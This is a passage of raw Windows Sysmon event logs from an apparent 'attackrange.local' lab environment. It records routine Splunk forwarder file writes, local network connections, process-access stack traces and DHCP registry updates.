Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:29.817{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A03B9EDBA79415B63133C552491452E,SHA256=868CCB8270078A87404C8A802F1066BF2C9D4F64229D758173ABABBA21FCEEF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000053870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:29.717{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000017227Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:29.088{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=519B69AF9C1F1827860D104C29E59081,SHA256=ECCC9EF691E732ADFF243CB298BDA56F2207E172B8B9D6356F177D30333ADB01,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:29.013{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59664-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000053877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:29.013{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59664-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000053876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:28.443{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59663-false10.0.1.12-8000- 23542300x800000000000000053875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:30.832{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C5D65F35D067D116C0FBA7CE9B167C1,SHA256=BF159D9E6CC666FD61B4D50443F6FD273C6761EE1B888BBDBD155F897DE9FC87,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017228Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:30.104{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B57C827641C744EE41217A0FC3601640,SHA256=5C5A8DF823D98AE0BB9663376B6E3BB115C7D9577A5E7FE1BE3599956BCDD3EA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:30.717{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=46BE7A5AFE7390E014F1857213C1DB13,SHA256=1EC34CC698C777452863B49E47C3B3A86DCDE46D63AC2A6DC6B3970D12DEE0FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:30.717{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1CB025D60814DFDAAD26A5C9B820AF31,SHA256=7460296EB16048A15EF987A6219DFE38D980BB3F941AD22FB9B43FC11E8853BD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:29.227{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59665-false10.0.1.12-8089- 10341000x800000000000000053893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:31.848{7BD73061-65B2-613B-1600-00000000F001}12961660C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2a2f2|C:\Windows\system32\wbem\wmiprvsd.dll+29e26|C:\Windows\system32\wbem\wmiprvsd.dll+28432|C:\Windows\system32\wbem\wmiprvsd.dll+57817|C:\Windows\system32\wbem\wmiprvsd.dll+8a475|C:\Windows\system32\wbem\wbemcore.dll+bcb3|C:\Windows\system32\wbem\wbemcore.dll+3393|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+2c9be|C:\Windows\system32\wbem\wbemcore.dll+202d8|C:\Windows\system32\wbem\wbemcore.dll+390e|C:\Windows\system32\wbem\wbemcore.dll+22bba|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:31.848{7BD73061-65B2-613B-1600-00000000F001}12961660C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2597b|C:\Windows\system32\wbem\wmiprvsd.dll+283dc|C:\Windows\system32\wbem\wmiprvsd.dll+57817|C:\Windows\system32\wbem\wmiprvsd.dll+8a475|C:\Windows\system32\wbem\wbemcore.dll+bcb3|C:\Windows\system32\wbem\wbemcore.dll+3393|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+2c9be|C:\Windows\system32\wbem\wbemcore.dll+202d8|C:\Windows\system32\wbem\wbemcore.dll+390e|C:\Windows\system32\wbem\wbemcore.dll+22bba|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000053891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:31.848{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3EFA74634756D469E02F2C99C88823C,SHA256=D06ABA598932D552D0F0325C12CAB490857C423FED607FBAE8B5FB8093DDD644,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017243Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:30.425{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50347-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000017242Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C3-613B-1A05-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017241Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017240Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017239Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017238Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017237Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017236Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017235Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017234Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017233Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017232Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-73C3-613B-1A05-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017231Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.608{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C3-613B-1A05-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017230Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.609{625C326B-73C3-613B-1A05-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017229Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:31.166{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E70F2C4648C18D34C40DD17B0AE4EE2,SHA256=04CDDCAE9B281742046D2302E97D63B59407D3CAC599B18DC08A7FCA2144CA41,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000053890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\DhcpConnForceBroadcastFlagDWORD (0x00000000) 13241300x800000000000000053889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\IsServerNapAwareDWORD (0x00000000) 13241300x800000000000000053888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\AddressTypeDWORD (0x00000000) 13241300x800000000000000053887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\LeaseTerminatesTimeDWORD (0x613b81d3) 13241300x800000000000000053886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\T2DWORD (0x613b8011) 13241300x800000000000000053885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\T1DWORD (0x613b7acb) 13241300x800000000000000053884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\LeaseObtainedTimeDWORD (0x613b73c3) 13241300x800000000000000053883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\LeaseDWORD (0x00000e10) 13241300x800000000000000053882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\DhcpServer10.0.1.1 13241300x800000000000000053881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\DhcpSubnetMask255.255.255.0 